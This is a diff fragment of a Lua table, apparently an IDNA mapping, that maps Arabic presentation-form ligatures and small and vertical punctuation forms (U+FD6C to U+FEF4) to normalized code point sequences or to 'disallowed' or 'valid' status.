+ [0xFD6E] = {0x0636, 0x062D, 0x0649}, -- ARABIC LIGATURE DAD WITH HAH WITH ALEF MAKSURA FINAL FORM
+ -- ARABIC LIGATURE SHEEN WITH MEEM WITH MEEM FINAL FORM..ARABIC LIGATURE SHEEN WITH MEEM WITH MEEM INITIAL FORM
+ [0xFD6C] = {0x0634, 0x0645, 0x0645},
+ [0xFD6D] = {0x0634, 0x0645, 0x0645},
+ -- ARABIC LIGATURE DAD WITH KHAH WITH MEEM FINAL FORM..ARABIC LIGATURE DAD WITH KHAH WITH MEEM INITIAL FORM
+ [0xFD6F] = {0x0636, 0x062E, 0x0645},
+ [0xFD70] = {0x0636, 0x062E, 0x0645},
+ [0xFD73] = {0x0637, 0x0645, 0x0645}, -- ARABIC LIGATURE TAH WITH MEEM WITH MEEM INITIAL FORM
+ [0xFD74] = {0x0637, 0x0645, 0x064A}, -- ARABIC LIGATURE TAH WITH MEEM WITH YEH FINAL FORM
+ [0xFD75] = {0x0639, 0x062C, 0x0645}, -- ARABIC LIGATURE AIN WITH JEEM WITH MEEM FINAL FORM
+ -- ARABIC LIGATURE TAH WITH MEEM WITH HAH FINAL FORM..ARABIC LIGATURE TAH WITH MEEM WITH HAH INITIAL FORM
+ [0xFD71] = {0x0637, 0x0645, 0x062D},
+ [0xFD72] = {0x0637, 0x0645, 0x062D},
+ [0xFD78] = {0x0639, 0x0645, 0x0649}, -- ARABIC LIGATURE AIN WITH MEEM WITH ALEF MAKSURA FINAL FORM
+ [0xFD79] = {0x063A, 0x0645, 0x0645}, -- ARABIC LIGATURE GHAIN WITH MEEM WITH MEEM FINAL FORM
+ [0xFD7A] = {0x063A, 0x0645, 0x064A}, -- ARABIC LIGATURE GHAIN WITH MEEM WITH YEH FINAL FORM
+ [0xFD7B] = {0x063A, 0x0645, 0x0649}, -- ARABIC LIGATURE GHAIN WITH MEEM WITH ALEF MAKSURA FINAL FORM
+ -- ARABIC LIGATURE AIN WITH MEEM WITH MEEM FINAL FORM..ARABIC LIGATURE AIN WITH MEEM WITH MEEM INITIAL FORM
+ [0xFD76] = {0x0639, 0x0645, 0x0645},
+ [0xFD77] = {0x0639, 0x0645, 0x0645},
+ [0xFD7E] = {0x0642, 0x0645, 0x062D}, -- ARABIC LIGATURE QAF WITH MEEM WITH HAH FINAL FORM
+ [0xFD7F] = {0x0642, 0x0645, 0x0645}, -- ARABIC LIGATURE QAF WITH MEEM WITH MEEM FINAL FORM
+ [0xFD80] = {0x0644, 0x062D, 0x0645}, -- ARABIC LIGATURE LAM WITH HAH WITH MEEM FINAL FORM
+ [0xFD81] = {0x0644, 0x062D, 0x064A}, -- ARABIC LIGATURE LAM WITH HAH WITH YEH FINAL FORM
+ [0xFD82] = {0x0644, 0x062D, 0x0649}, -- ARABIC LIGATURE LAM WITH HAH WITH ALEF MAKSURA FINAL FORM
+ -- ARABIC LIGATURE FEH WITH KHAH WITH MEEM FINAL FORM..ARABIC LIGATURE FEH WITH KHAH WITH MEEM INITIAL FORM
+ [0xFD7C] = {0x0641, 0x062E, 0x0645},
+ [0xFD7D] = {0x0641, 0x062E, 0x0645},
+ -- ARABIC LIGATURE LAM WITH JEEM WITH JEEM INITIAL FORM..ARABIC LIGATURE LAM WITH JEEM WITH JEEM FINAL FORM
+ [0xFD83] = {0x0644, 0x062C, 0x062C},
+ [0xFD84] = {0x0644, 0x062C, 0x062C},
+ -- ARABIC LIGATURE LAM WITH KHAH WITH MEEM FINAL FORM..ARABIC LIGATURE LAM WITH KHAH WITH MEEM INITIAL FORM
+ [0xFD85] = {0x0644, 0x062E, 0x0645},
+ [0xFD86] = {0x0644, 0x062E, 0x0645},
+ [0xFD89] = {0x0645, 0x062D, 0x062C}, -- ARABIC LIGATURE MEEM WITH HAH WITH JEEM INITIAL FORM
+ [0xFD8A] = {0x0645, 0x062D, 0x0645}, -- ARABIC LIGATURE MEEM WITH HAH WITH MEEM INITIAL FORM
+ [0xFD8B] = {0x0645, 0x062D, 0x064A}, -- ARABIC LIGATURE MEEM WITH HAH WITH YEH FINAL FORM
+ [0xFD8C] = {0x0645, 0x062C, 0x062D}, -- ARABIC LIGATURE MEEM WITH JEEM WITH HAH INITIAL FORM
+ [0xFD8D] = {0x0645, 0x062C, 0x0645}, -- ARABIC LIGATURE MEEM WITH JEEM WITH MEEM INITIAL FORM
+ [0xFD8E] = {0x0645, 0x062E, 0x062C}, -- ARABIC LIGATURE MEEM WITH KHAH WITH JEEM INITIAL FORM
+ [0xFD8F] = {0x0645, 0x062E, 0x0645}, -- ARABIC LIGATURE MEEM WITH KHAH WITH MEEM INITIAL FORM
+ -- ARABIC LIGATURE LAM WITH MEEM WITH HAH FINAL FORM..ARABIC LIGATURE LAM WITH MEEM WITH HAH INITIAL FORM
+ [0xFD87] = {0x0644, 0x0645, 0x062D},
+ [0xFD88] = {0x0644, 0x0645, 0x062D},
+ [0xFD92] = {0x0645, 0x062C, 0x062E}, -- ARABIC LIGATURE MEEM WITH JEEM WITH KHAH INITIAL FORM
+ [0xFD93] = {0x0647, 0x0645, 0x062C}, -- ARABIC LIGATURE HEH WITH MEEM WITH JEEM INITIAL FORM
+ [0xFD94] = {0x0647, 0x0645, 0x0645}, -- ARABIC LIGATURE HEH WITH MEEM WITH MEEM INITIAL FORM
+ [0xFD95] = {0x0646, 0x062D, 0x0645}, -- ARABIC LIGATURE NOON WITH HAH WITH MEEM INITIAL FORM
+ [0xFD96] = {0x0646, 0x062D, 0x0649}, -- ARABIC LIGATURE NOON WITH HAH WITH ALEF MAKSURA FINAL FORM
+ -- NA <reserved-FD90>..<reserved-FD91>
+ [0xFD90] = {status="disallowed"},
+ [0xFD91] = {status="disallowed"},
+ [0xFD99] = {0x0646, 0x062C, 0x0649}, -- ARABIC LIGATURE NOON WITH JEEM WITH ALEF MAKSURA FINAL FORM
+ [0xFD9A] = {0x0646, 0x0645, 0x064A}, -- ARABIC LIGATURE NOON WITH MEEM WITH YEH FINAL FORM
+ [0xFD9B] = {0x0646, 0x0645, 0x0649}, -- ARABIC LIGATURE NOON WITH MEEM WITH ALEF MAKSURA FINAL FORM
+ -- ARABIC LIGATURE NOON WITH JEEM WITH MEEM FINAL FORM..ARABIC LIGATURE NOON WITH JEEM WITH MEEM INITIAL FORM
+ [0xFD97] = {0x0646, 0x062C, 0x0645},
+ [0xFD98] = {0x0646, 0x062C, 0x0645},
+ [0xFD9E] = {0x0628, 0x062E, 0x064A}, -- ARABIC LIGATURE BEH WITH KHAH WITH YEH FINAL FORM
+ [0xFD9F] = {0x062A, 0x062C, 0x064A}, -- ARABIC LIGATURE TEH WITH JEEM WITH YEH FINAL FORM
+ [0xFDA0] = {0x062A, 0x062C, 0x0649}, -- ARABIC LIGATURE TEH WITH JEEM WITH ALEF MAKSURA FINAL FORM
+ [0xFDA1] = {0x062A, 0x062E, 0x064A}, -- ARABIC LIGATURE TEH WITH KHAH WITH YEH FINAL FORM
+ [0xFDA2] = {0x062A, 0x062E, 0x0649}, -- ARABIC LIGATURE TEH WITH KHAH WITH ALEF MAKSURA FINAL FORM
+ [0xFDA3] = {0x062A, 0x0645, 0x064A}, -- ARABIC LIGATURE TEH WITH MEEM WITH YEH FINAL FORM
+ [0xFDA4] = {0x062A, 0x0645, 0x0649}, -- ARABIC LIGATURE TEH WITH MEEM WITH ALEF MAKSURA FINAL FORM
+ [0xFDA5] = {0x062C, 0x0645, 0x064A}, -- ARABIC LIGATURE JEEM WITH MEEM WITH YEH FINAL FORM
+ [0xFDA6] = {0x062C, 0x062D, 0x0649}, -- ARABIC LIGATURE JEEM WITH HAH WITH ALEF MAKSURA FINAL FORM
+ [0xFDA7] = {0x062C, 0x0645, 0x0649}, -- ARABIC LIGATURE JEEM WITH MEEM WITH ALEF MAKSURA FINAL FORM
+ [0xFDA8] = {0x0633, 0x062E, 0x0649}, -- ARABIC LIGATURE SEEN WITH KHAH WITH ALEF MAKSURA FINAL FORM
+ [0xFDA9] = {0x0635, 0x062D, 0x064A}, -- ARABIC LIGATURE SAD WITH HAH WITH YEH FINAL FORM
+ [0xFDAA] = {0x0634, 0x062D, 0x064A}, -- ARABIC LIGATURE SHEEN WITH HAH WITH YEH FINAL FORM
+ [0xFDAB] = {0x0636, 0x062D, 0x064A}, -- ARABIC LIGATURE DAD WITH HAH WITH YEH FINAL FORM
+ [0xFDAC] = {0x0644, 0x062C, 0x064A}, -- ARABIC LIGATURE LAM WITH JEEM WITH YEH FINAL FORM
+ [0xFDAD] = {0x0644, 0x0645, 0x064A}, -- ARABIC LIGATURE LAM WITH MEEM WITH YEH FINAL FORM
+ [0xFDAE] = {0x064A, 0x062D, 0x064A}, -- ARABIC LIGATURE YEH WITH HAH WITH YEH FINAL FORM
+ [0xFDAF] = {0x064A, 0x062C, 0x064A}, -- ARABIC LIGATURE YEH WITH JEEM WITH YEH FINAL FORM
+ [0xFDB0] = {0x064A, 0x0645, 0x064A}, -- ARABIC LIGATURE YEH WITH MEEM WITH YEH FINAL FORM
+ [0xFDB1] = {0x0645, 0x0645, 0x064A}, -- ARABIC LIGATURE MEEM WITH MEEM WITH YEH FINAL FORM
+ [0xFDB2] = {0x0642, 0x0645, 0x064A}, -- ARABIC LIGATURE QAF WITH MEEM WITH YEH FINAL FORM
+ [0xFDB3] = {0x0646, 0x062D, 0x064A}, -- ARABIC LIGATURE NOON WITH HAH WITH YEH FINAL FORM
+ [0xFDB4] = {0x0642, 0x0645, 0x062D}, -- ARABIC LIGATURE QAF WITH MEEM WITH HAH INITIAL FORM
+ [0xFDB5] = {0x0644, 0x062D, 0x0645}, -- ARABIC LIGATURE LAM WITH HAH WITH MEEM INITIAL FORM
+ [0xFDB6] = {0x0639, 0x0645, 0x064A}, -- ARABIC LIGATURE AIN WITH MEEM WITH YEH FINAL FORM
+ [0xFDB7] = {0x0643, 0x0645, 0x064A}, -- ARABIC LIGATURE KAF WITH MEEM WITH YEH FINAL FORM
+ [0xFDB8] = {0x0646, 0x062C, 0x062D}, -- ARABIC LIGATURE NOON WITH JEEM WITH HAH INITIAL FORM
+ [0xFDB9] = {0x0645, 0x062E, 0x064A}, -- ARABIC LIGATURE MEEM WITH KHAH WITH YEH FINAL FORM
+ [0xFDBA] = {0x0644, 0x062C, 0x0645}, -- ARABIC LIGATURE LAM WITH JEEM WITH MEEM INITIAL FORM
+ [0xFDBB] = {0x0643, 0x0645, 0x0645}, -- ARABIC LIGATURE KAF WITH MEEM WITH MEEM FINAL FORM
+ [0xFDBC] = {0x0644, 0x062C, 0x0645}, -- ARABIC LIGATURE LAM WITH JEEM WITH MEEM FINAL FORM
+ [0xFDBD] = {0x0646, 0x062C, 0x062D}, -- ARABIC LIGATURE NOON WITH JEEM WITH HAH FINAL FORM
+ [0xFDBE] = {0x062C, 0x062D, 0x064A}, -- ARABIC LIGATURE JEEM WITH HAH WITH YEH FINAL FORM
+ [0xFDBF] = {0x062D, 0x062C, 0x064A}, -- ARABIC LIGATURE HAH WITH JEEM WITH YEH FINAL FORM
+ [0xFDC0] = {0x0645, 0x062C, 0x064A}, -- ARABIC LIGATURE MEEM WITH JEEM WITH YEH FINAL FORM
+ [0xFDC1] = {0x0641, 0x0645, 0x064A}, -- ARABIC LIGATURE FEH WITH MEEM WITH YEH FINAL FORM
+ [0xFDC2] = {0x0628, 0x062D, 0x064A}, -- ARABIC LIGATURE BEH WITH HAH WITH YEH FINAL FORM
+ [0xFDC3] = {0x0643, 0x0645, 0x0645}, -- ARABIC LIGATURE KAF WITH MEEM WITH MEEM INITIAL FORM
+ [0xFDC4] = {0x0639, 0x062C, 0x0645}, -- ARABIC LIGATURE AIN WITH JEEM WITH MEEM INITIAL FORM
+ [0xFDC5] = {0x0635, 0x0645, 0x0645}, -- ARABIC LIGATURE SAD WITH MEEM WITH MEEM INITIAL FORM
+ [0xFDC6] = {0x0633, 0x062E, 0x064A}, -- ARABIC LIGATURE SEEN WITH KHAH WITH YEH FINAL FORM
+ [0xFDC7] = {0x0646, 0x062C, 0x064A}, -- ARABIC LIGATURE NOON WITH JEEM WITH YEH FINAL FORM
+ -- ARABIC LIGATURE YEH WITH MEEM WITH MEEM FINAL FORM..ARABIC LIGATURE YEH WITH MEEM WITH MEEM INITIAL FORM
+ [0xFD9C] = {0x064A, 0x0645, 0x0645},
+ [0xFD9D] = {0x064A, 0x0645, 0x0645},
+ [0xFDF0] = {0x0635, 0x0644, 0x06D2}, -- ARABIC LIGATURE SALLA USED AS KORANIC STOP SIGN ISOLATED FORM
+ [0xFDF1] = {0x0642, 0x0644, 0x06D2}, -- ARABIC LIGATURE QALA USED AS KORANIC STOP SIGN ISOLATED FORM
+ [0xFDF2] = {0x0627, 0x0644, 0x0644, 0x0647}, -- ARABIC LIGATURE ALLAH ISOLATED FORM
+ [0xFDF3] = {0x0627, 0x0643, 0x0628, 0x0631}, -- ARABIC LIGATURE AKBAR ISOLATED FORM
+ [0xFDF4] = {0x0645, 0x062D, 0x0645, 0x062F}, -- ARABIC LIGATURE MOHAMMAD ISOLATED FORM
+ [0xFDF5] = {0x0635, 0x0644, 0x0639, 0x0645}, -- ARABIC LIGATURE SALAM ISOLATED FORM
+ [0xFDF6] = {0x0631, 0x0633, 0x0648, 0x0644}, -- ARABIC LIGATURE RASOUL ISOLATED FORM
+ [0xFDF7] = {0x0639, 0x0644, 0x064A, 0x0647}, -- ARABIC LIGATURE ALAYHE ISOLATED FORM
+ [0xFDF8] = {0x0648, 0x0633, 0x0644, 0x0645}, -- ARABIC LIGATURE WASALLAM ISOLATED FORM
+ [0xFDF9] = {0x0635, 0x0644, 0x0649}, -- ARABIC LIGATURE SALLA ISOLATED FORM
+ [0xFDFA] = {status="disallowed"}, -- ARABIC LIGATURE SALLALLAHOU ALAYHE WASALLAM
+ [0xFDFB] = {status="disallowed"}, -- ARABIC LIGATURE JALLAJALALOUHOU
+ [0xFDFC] = {0x0631, 0x06CC, 0x0627, 0x0644}, -- RIAL SIGN
+ [0xFDFD] = {status="disallowed"}, -- ARABIC LIGATURE BISMILLAH AR-RAHMAN AR-RAHEEM
+ -- NA <reserved-FDFE>..<reserved-FDFF>
+ [0xFDFE] = {status="disallowed"},
+ [0xFDFF] = {status="disallowed"},
+ [0xFE10] = {status="disallowed"}, -- PRESENTATION FORM FOR VERTICAL COMMA
+ [0xFE11] = 0x3001, -- PRESENTATION FORM FOR VERTICAL IDEOGRAPHIC COMMA
+ [0xFE12] = {status="disallowed"}, -- PRESENTATION FORM FOR VERTICAL IDEOGRAPHIC FULL STOP
+ [0xFE13] = {status="disallowed"}, -- PRESENTATION FORM FOR VERTICAL COLON
+ [0xFE14] = {status="disallowed"}, -- PRESENTATION FORM FOR VERTICAL SEMICOLON
+ [0xFE15] = {status="disallowed"}, -- PRESENTATION FORM FOR VERTICAL EXCLAMATION MARK
+ [0xFE16] = {status="disallowed"}, -- PRESENTATION FORM FOR VERTICAL QUESTION MARK
+ [0xFE17] = 0x3016, -- PRESENTATION FORM FOR VERTICAL LEFT WHITE LENTICULAR BRACKET
+ [0xFE18] = 0x3017, -- PRESENTATION FORM FOR VERTICAL RIGHT WHITE LENTICULAR BRAKCET
+ [0xFE19] = {status="disallowed"}, -- PRESENTATION FORM FOR VERTICAL HORIZONTAL ELLIPSIS
+ [0xFE30] = {status="disallowed"}, -- PRESENTATION FORM FOR VERTICAL TWO DOT LEADER
+ [0xFE31] = 0x2014, -- PRESENTATION FORM FOR VERTICAL EM DASH
+ [0xFE32] = 0x2013, -- PRESENTATION FORM FOR VERTICAL EN DASH
+ [0xFE35] = {status="disallowed"}, -- PRESENTATION FORM FOR VERTICAL LEFT PARENTHESIS
+ [0xFE36] = {status="disallowed"}, -- PRESENTATION FORM FOR VERTICAL RIGHT PARENTHESIS
+ [0xFE37] = {status="disallowed"}, -- PRESENTATION FORM FOR VERTICAL LEFT CURLY BRACKET
+ [0xFE38] = {status="disallowed"}, -- PRESENTATION FORM FOR VERTICAL RIGHT CURLY BRACKET
+ [0xFE39] = 0x3014, -- PRESENTATION FORM FOR VERTICAL LEFT TORTOISE SHELL BRACKET
+ [0xFE3A] = 0x3015, -- PRESENTATION FORM FOR VERTICAL RIGHT TORTOISE SHELL BRACKET
+ [0xFE3B] = 0x3010, -- PRESENTATION FORM FOR VERTICAL LEFT BLACK LENTICULAR BRACKET
+ [0xFE3C] = 0x3011, -- PRESENTATION FORM FOR VERTICAL RIGHT BLACK LENTICULAR BRACKET
+ [0xFE3D] = 0x300A, -- PRESENTATION FORM FOR VERTICAL LEFT DOUBLE ANGLE BRACKET
+ [0xFE3E] = 0x300B, -- PRESENTATION FORM FOR VERTICAL RIGHT DOUBLE ANGLE BRACKET
+ [0xFE3F] = 0x3008, -- PRESENTATION FORM FOR VERTICAL LEFT ANGLE BRACKET
+ [0xFE40] = 0x3009, -- PRESENTATION FORM FOR VERTICAL RIGHT ANGLE BRACKET
+ [0xFE41] = 0x300C, -- PRESENTATION FORM FOR VERTICAL LEFT CORNER BRACKET
+ [0xFE42] = 0x300D, -- PRESENTATION FORM FOR VERTICAL RIGHT CORNER BRACKET
+ [0xFE43] = 0x300E, -- PRESENTATION FORM FOR VERTICAL LEFT WHITE CORNER BRACKET
+ [0xFE44] = 0x300F, -- PRESENTATION FORM FOR VERTICAL RIGHT WHITE CORNER BRACKET
+ -- PRESENTATION FORM FOR VERTICAL LOW LINE..PRESENTATION FORM FOR VERTICAL WAVY LOW LINE
+ [0xFE33] = {status="disallowed"},
+ [0xFE34] = {status="disallowed"},
+ [0xFE47] = {status="disallowed"}, -- PRESENTATION FORM FOR VERTICAL LEFT SQUARE BRACKET
+ [0xFE48] = {status="disallowed"}, -- PRESENTATION FORM FOR VERTICAL RIGHT SQUARE BRACKET
+ -- SESAME DOT..WHITE SESAME DOT
+ [0xFE45] = {status="disallowed"},
+ [0xFE46] = {status="disallowed"},
+ -- DASHED OVERLINE..DOUBLE WAVY OVERLINE
+ [0xFE49] = {status="disallowed"},
+ [0xFE4A] = {status="disallowed"},
+ [0xFE4B] = {status="disallowed"},
+ [0xFE4C] = {status="disallowed"},
+ [0xFE50] = {status="disallowed"}, -- SMALL COMMA
+ [0xFE51] = 0x3001, -- SMALL IDEOGRAPHIC COMMA
+ [0xFE52] = {status="disallowed"}, -- SMALL FULL STOP
+ [0xFE53] = {status="disallowed"}, -- NA <reserved-FE53>
+ [0xFE54] = {status="disallowed"}, -- SMALL SEMICOLON
+ [0xFE55] = {status="disallowed"}, -- SMALL COLON
+ [0xFE56] = {status="disallowed"}, -- SMALL QUESTION MARK
+ [0xFE57] = {status="disallowed"}, -- SMALL EXCLAMATION MARK
+ [0xFE58] = 0x2014, -- SMALL EM DASH
+ [0xFE59] = {status="disallowed"}, -- SMALL LEFT PARENTHESIS
+ [0xFE5A] = {status="disallowed"}, -- SMALL RIGHT PARENTHESIS
+ [0xFE5B] = {status="disallowed"}, -- SMALL LEFT CURLY BRACKET
+ [0xFE5C] = {status="disallowed"}, -- SMALL RIGHT CURLY BRACKET
+ [0xFE5D] = 0x3014, -- SMALL LEFT TORTOISE SHELL BRACKET
+ [0xFE5E] = 0x3015, -- SMALL RIGHT TORTOISE SHELL BRACKET
+ [0xFE5F] = {status="disallowed"}, -- SMALL NUMBER SIGN
+ [0xFE60] = {status="disallowed"}, -- SMALL AMPERSAND
+ [0xFE61] = {status="disallowed"}, -- SMALL ASTERISK
+ [0xFE62] = {status="disallowed"}, -- SMALL PLUS SIGN
+ [0xFE63] = 0x002D, -- SMALL HYPHEN-MINUS
+ [0xFE64] = {status="disallowed"}, -- SMALL LESS-THAN SIGN
+ [0xFE65] = {status="disallowed"}, -- SMALL GREATER-THAN SIGN
+ [0xFE66] = {status="disallowed"}, -- SMALL EQUALS SIGN
+ [0xFE67] = {status="disallowed"}, -- NA <reserved-FE67>
+ [0xFE68] = {status="disallowed"}, -- SMALL REVERSE SOLIDUS
+ [0xFE69] = {status="disallowed"}, -- SMALL DOLLAR SIGN
+ [0xFE6A] = {status="disallowed"}, -- SMALL PERCENT SIGN
+ [0xFE6B] = {status="disallowed"}, -- SMALL COMMERCIAL AT
+ -- DASHED LOW LINE..WAVY LOW LINE
+ [0xFE4D] = {status="disallowed"},
+ [0xFE4E] = {status="disallowed"},
+ [0xFE4F] = {status="disallowed"},
+ [0xFE70] = {status="disallowed"}, -- ARABIC FATHATAN ISOLATED FORM
+ [0xFE71] = {0x0640, 0x064B}, -- ARABIC TATWEEL WITH FATHATAN ABOVE
+ [0xFE72] = {status="disallowed"}, -- ARABIC DAMMATAN ISOLATED FORM
+ [0xFE73] = {status="valid"}, -- ARABIC TAIL FRAGMENT
+ [0xFE74] = {status="disallowed"}, -- ARABIC KASRATAN ISOLATED FORM
+ [0xFE75] = {status="disallowed"}, -- NA <reserved-FE75>
+ [0xFE76] = {status="disallowed"}, -- ARABIC FATHA ISOLATED FORM
+ [0xFE77] = {0x0640, 0x064E}, -- ARABIC FATHA MEDIAL FORM
+ [0xFE78] = {status="disallowed"}, -- ARABIC DAMMA ISOLATED FORM
+ [0xFE79] = {0x0640, 0x064F}, -- ARABIC DAMMA MEDIAL FORM
+ [0xFE7A] = {status="disallowed"}, -- ARABIC KASRA ISOLATED FORM
+ [0xFE7B] = {0x0640, 0x0650}, -- ARABIC KASRA MEDIAL FORM
+ [0xFE7C] = {status="disallowed"}, -- ARABIC SHADDA ISOLATED FORM
+ [0xFE7D] = {0x0640, 0x0651}, -- ARABIC SHADDA MEDIAL FORM
+ [0xFE7E] = {status="disallowed"}, -- ARABIC SUKUN ISOLATED FORM
+ [0xFE7F] = {0x0640, 0x0652}, -- ARABIC SUKUN MEDIAL FORM
+ [0xFE80] = 0x0621, -- ARABIC LETTER HAMZA ISOLATED FORM
+ -- NA <reserved-FE6C>..<reserved-FE6F>
+ [0xFE6C] = {status="disallowed"},
+ [0xFE6D] = {status="disallowed"},
+ [0xFE6E] = {status="disallowed"},
+ [0xFE6F] = {status="disallowed"},
+ -- ARABIC LETTER ALEF WITH MADDA ABOVE ISOLATED FORM..ARABIC LETTER ALEF WITH MADDA ABOVE FINAL FORM
+ [0xFE81] = 0x0622,
+ [0xFE82] = 0x0622,
+ -- ARABIC LETTER ALEF WITH HAMZA ABOVE ISOLATED FORM..ARABIC LETTER ALEF WITH HAMZA ABOVE FINAL FORM
+ [0xFE83] = 0x0623,
+ [0xFE84] = 0x0623,
+ -- ARABIC LETTER WAW WITH HAMZA ABOVE ISOLATED FORM..ARABIC LETTER WAW WITH HAMZA ABOVE FINAL FORM
+ [0xFE85] = 0x0624,
+ [0xFE86] = 0x0624,
+ -- ARABIC LETTER ALEF WITH HAMZA BELOW ISOLATED FORM..ARABIC LETTER ALEF WITH HAMZA BELOW FINAL FORM
+ [0xFE87] = 0x0625,
+ [0xFE88] = 0x0625,
+ -- ARABIC LETTER YEH WITH HAMZA ABOVE ISOLATED FORM..ARABIC LETTER YEH WITH HAMZA ABOVE MEDIAL FORM
+ [0xFE89] = 0x0626,
+ [0xFE8A] = 0x0626,
+ [0xFE8B] = 0x0626,
+ [0xFE8C] = 0x0626,
+ -- ARABIC LETTER ALEF ISOLATED FORM..ARABIC LETTER ALEF FINAL FORM
+ [0xFE8D] = 0x0627,
+ [0xFE8E] = 0x0627,
+ -- ARABIC LETTER BEH ISOLATED FORM..ARABIC LETTER BEH MEDIAL FORM
+ [0xFE8F] = 0x0628,
+ [0xFE90] = 0x0628,
+ [0xFE91] = 0x0628,
+ [0xFE92] = 0x0628,
+ -- ARABIC LETTER TEH MARBUTA ISOLATED FORM..ARABIC LETTER TEH MARBUTA FINAL FORM
+ [0xFE93] = 0x0629,
+ [0xFE94] = 0x0629,
+ -- ARABIC LETTER TEH ISOLATED FORM..ARABIC LETTER TEH MEDIAL FORM
+ [0xFE95] = 0x062A,
+ [0xFE96] = 0x062A,
+ [0xFE97] = 0x062A,
+ [0xFE98] = 0x062A,
+ -- ARABIC LETTER THEH ISOLATED FORM..ARABIC LETTER THEH MEDIAL FORM
+ [0xFE99] = 0x062B,
+ [0xFE9A] = 0x062B,
+ [0xFE9B] = 0x062B,
+ [0xFE9C] = 0x062B,
+ -- ARABIC LETTER JEEM ISOLATED FORM..ARABIC LETTER JEEM MEDIAL FORM
+ [0xFE9D] = 0x062C,
+ [0xFE9E] = 0x062C,
+ [0xFE9F] = 0x062C,
+ [0xFEA0] = 0x062C,
+ -- ARABIC LETTER HAH ISOLATED FORM..ARABIC LETTER HAH MEDIAL FORM
+ [0xFEA1] = 0x062D,
+ [0xFEA2] = 0x062D,
+ [0xFEA3] = 0x062D,
+ [0xFEA4] = 0x062D,
+ -- ARABIC LETTER KHAH ISOLATED FORM..ARABIC LETTER KHAH MEDIAL FORM
+ [0xFEA5] = 0x062E,
+ [0xFEA6] = 0x062E,
+ [0xFEA7] = 0x062E,
+ [0xFEA8] = 0x062E,
+ -- ARABIC LETTER DAL ISOLATED FORM..ARABIC LETTER DAL FINAL FORM
+ [0xFEA9] = 0x062F,
+ [0xFEAA] = 0x062F,
+ -- ARABIC LETTER THAL ISOLATED FORM..ARABIC LETTER THAL FINAL FORM
+ [0xFEAB] = 0x0630,
+ [0xFEAC] = 0x0630,
+ -- ARABIC LETTER REH ISOLATED FORM..ARABIC LETTER REH FINAL FORM
+ [0xFEAD] = 0x0631,
+ [0xFEAE] = 0x0631,
+ -- ARABIC LETTER ZAIN ISOLATED FORM..ARABIC LETTER ZAIN FINAL FORM
+ [0xFEAF] = 0x0632,
+ [0xFEB0] = 0x0632,
+ -- ARABIC LETTER SEEN ISOLATED FORM..ARABIC LETTER SEEN MEDIAL FORM
+ [0xFEB1] = 0x0633,
+ [0xFEB2] = 0x0633,
+ [0xFEB3] = 0x0633,
+ [0xFEB4] = 0x0633,
+ -- ARABIC LETTER SHEEN ISOLATED FORM..ARABIC LETTER SHEEN MEDIAL FORM
+ [0xFEB5] = 0x0634,
+ [0xFEB6] = 0x0634,
+ [0xFEB7] = 0x0634,
+ [0xFEB8] = 0x0634,
+ -- ARABIC LETTER SAD ISOLATED FORM..ARABIC LETTER SAD MEDIAL FORM
+ [0xFEB9] = 0x0635,
+ [0xFEBA] = 0x0635,
+ [0xFEBB] = 0x0635,
+ [0xFEBC] = 0x0635,
+ -- ARABIC LETTER DAD ISOLATED FORM..ARABIC LETTER DAD MEDIAL FORM
+ [0xFEBD] = 0x0636,
+ [0xFEBE] = 0x0636,
+ [0xFEBF] = 0x0636,
+ [0xFEC0] = 0x0636,
+ -- ARABIC LETTER TAH ISOLATED FORM..ARABIC LETTER TAH MEDIAL FORM
+ [0xFEC1] = 0x0637,
+ [0xFEC2] = 0x0637,
+ [0xFEC3] = 0x0637,
+ [0xFEC4] = 0x0637,
+ -- ARABIC LETTER ZAH ISOLATED FORM..ARABIC LETTER ZAH MEDIAL FORM
+ [0xFEC5] = 0x0638,
+ [0xFEC6] = 0x0638,
+ [0xFEC7] = 0x0638,
+ [0xFEC8] = 0x0638,
+ -- ARABIC LETTER AIN ISOLATED FORM..ARABIC LETTER AIN MEDIAL FORM
+ [0xFEC9] = 0x0639,
+ [0xFECA] = 0x0639,
+ [0xFECB] = 0x0639,
+ [0xFECC] = 0x0639,
+ -- ARABIC LETTER GHAIN ISOLATED FORM..ARABIC LETTER GHAIN MEDIAL FORM
+ [0xFECD] = 0x063A,
+ [0xFECE] = 0x063A,
+ [0xFECF] = 0x063A,
+ [0xFED0] = 0x063A,
+ -- ARABIC LETTER FEH ISOLATED FORM..ARABIC LETTER FEH MEDIAL FORM
+ [0xFED1] = 0x0641,
+ [0xFED2] = 0x0641,
+ [0xFED3] = 0x0641,
+ [0xFED4] = 0x0641,
+ -- ARABIC LETTER QAF ISOLATED FORM..ARABIC LETTER QAF MEDIAL FORM
+ [0xFED5] = 0x0642,
+ [0xFED6] = 0x0642,
+ [0xFED7] = 0x0642,
+ [0xFED8] = 0x0642,
+ -- ARABIC LETTER KAF ISOLATED FORM..ARABIC LETTER KAF MEDIAL FORM
+ [0xFED9] = 0x0643,
+ [0xFEDA] = 0x0643,
+ [0xFEDB] = 0x0643,
+ [0xFEDC] = 0x0643,
+ -- ARABIC LETTER LAM ISOLATED FORM..ARABIC LETTER LAM MEDIAL FORM
+ [0xFEDD] = 0x0644,
+ [0xFEDE] = 0x0644,
+ [0xFEDF] = 0x0644,
+ [0xFEE0] = 0x0644,
+ -- ARABIC LETTER MEEM ISOLATED FORM..ARABIC LETTER MEEM MEDIAL FORM
+ [0xFEE1] = 0x0645,
+ [0xFEE2] = 0x0645,
+ [0xFEE3] = 0x0645,
+ [0xFEE4] = 0x0645,
+ -- ARABIC LETTER NOON ISOLATED FORM..ARABIC LETTER NOON MEDIAL FORM
+ [0xFEE5] = 0x0646,
+ [0xFEE6] = 0x0646,
+ [0xFEE7] = 0x0646,
+ [0xFEE8] = 0x0646,
+ -- ARABIC LETTER HEH ISOLATED FORM..ARABIC LETTER HEH MEDIAL FORM
+ [0xFEE9] = 0x0647,
+ [0xFEEA] = 0x0647,
+ [0xFEEB] = 0x0647,
+ [0xFEEC] = 0x0647,
+ -- ARABIC LETTER WAW ISOLATED FORM..ARABIC LETTER WAW FINAL FORM
+ [0xFEED] = 0x0648,
+ [0xFEEE] = 0x0648,
+ -- ARABIC LETTER ALEF MAKSURA ISOLATED FORM..ARABIC LETTER ALEF MAKSURA FINAL FORM
+ [0xFEEF] = 0x0649,
+ [0xFEF0] = 0x0649,
+ -- ARABIC LETTER YEH ISOLATED FORM..ARABIC LETTER YEH MEDIAL FORM
+ [0xFEF1] = 0x064A,
+ [0xFEF2] = 0x064A,
+ [0xFEF3] = 0x064A,
+ [0xFEF4] = 0x064A,
